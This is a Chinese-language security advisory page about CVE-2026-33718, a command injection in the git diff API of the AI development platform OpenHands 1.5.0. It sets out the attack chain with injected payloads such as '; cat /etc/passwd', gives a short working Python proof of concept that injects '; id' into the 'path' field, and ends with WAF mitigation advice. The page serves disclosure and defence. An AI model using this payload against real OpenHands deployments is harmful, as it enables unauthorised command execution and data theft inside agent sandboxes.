IPBUF安全漏洞报告
English
CVE-2026-33718 CVSS 7.6 高危

CVE-2026-33718 OpenHands命令注入漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-33718
漏洞类型
命令注入
CVSS评分
7.6 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenHands

相关标签

命令注入OpenHandsRCECVE-2026-33718沙箱逃逸

漏洞概述

OpenHands是一款用于AI驱动的开发软件。在1.5.0版本中,其`openhands/runtime/utils/git_handler.py`文件的`get_git_diff()`方法存在命令注入漏洞。该漏洞源于`/api/conversations/{conversation_id}/git/diff` API端点接收的`path`参数在未经任何清理的情况下被直接传递给shell命令执行环境。尽管用户通常被允许指示代理执行命令,但该漏洞允许经过身份验证的攻击者绕过正常渠道,在代理沙箱中执行任意命令,从而可能导致沙箱逃逸或敏感信息泄露。该问题已在1.5.0版本的后续提交中修复。

技术细节

该漏洞位于OpenHands的Git处理逻辑中,具体文件为`openhands/runtime/utils/git_handler.py`的第134行。漏洞触发点为`get_git_diff()`方法,该方法旨在获取Git仓库的差异信息。当外部请求发送至`/api/conversations/{conversation_id}/git/diff`接口时,攻击者可以通过控制请求中的`path`参数来利用此漏洞。由于程序未对`path`参数进行严格的输入验证或过滤(如未使用`shlex.quote`),攻击者可以注入恶意的Shell元字符(如`;`, `|`, `&`等)。当该参数被拼接到系统命令中执行时(例如通过`subprocess`调用shell=True),注入的命令将连同系统命令一起被服务器执行。虽然执行环境被限制在agent沙箱内,但这允许攻击者绕过OpenHands的常规指令验证机制,直接操控底层操作系统,执行未经授权的文件读写、网络探测等操作。

攻击链分析

STEP 1
步骤1:身份认证
攻击者注册并登录OpenHands平台,获取有效的API访问令牌(JWT Token)。
STEP 2
步骤2:识别目标
攻击者获取或创建一个有效的对话ID(conversation_id),用于构建API请求路径。
STEP 3
步骤3:发送恶意载荷
攻击者向`/api/conversations/{conversation_id}/git/diff`端点发送POST请求,在JSON体的`path`字段中注入Shell命令(如`; ls` 或 `; cat /etc/passwd`)。
STEP 4
步骤4:命令执行
服务器后端未对`path`参数进行消毒,直接将其拼接到Git diff命令中并调用Shell执行,导致恶意命令在Agent沙箱内运行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Replace with actual host) target_url = "http://localhost:3000/api/conversations/{conversation_id}/git/diff" # Valid conversation ID and authentication token are required conversation_id = "valid_conversation_id" auth_token = "your_valid_auth_token" headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } # Payload to inject a command (e.g., 'id') # The semicolon is used to terminate the intended git command and execute a new one payload = "; id" data = { "path": payload } try: response = requests.post( target_url.format(conversation_id=conversation_id), json=data, headers=headers ) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") except Exception as e: print(f"An error occurred: {e}")

影响范围

OpenHands 1.5.0 (存在漏洞的特定构建)

防御指南

临时缓解措施
如果无法立即升级,建议在应用网关或WAF层面实施严格规则,检测并阻断`/api/conversations/*/git/diff`接口请求中包含Shell元字符(如;、|、&、$、`等)的`path`参数。同时,应监控服务器日志,查找该API端点的异常调用记录,以确认是否已被攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表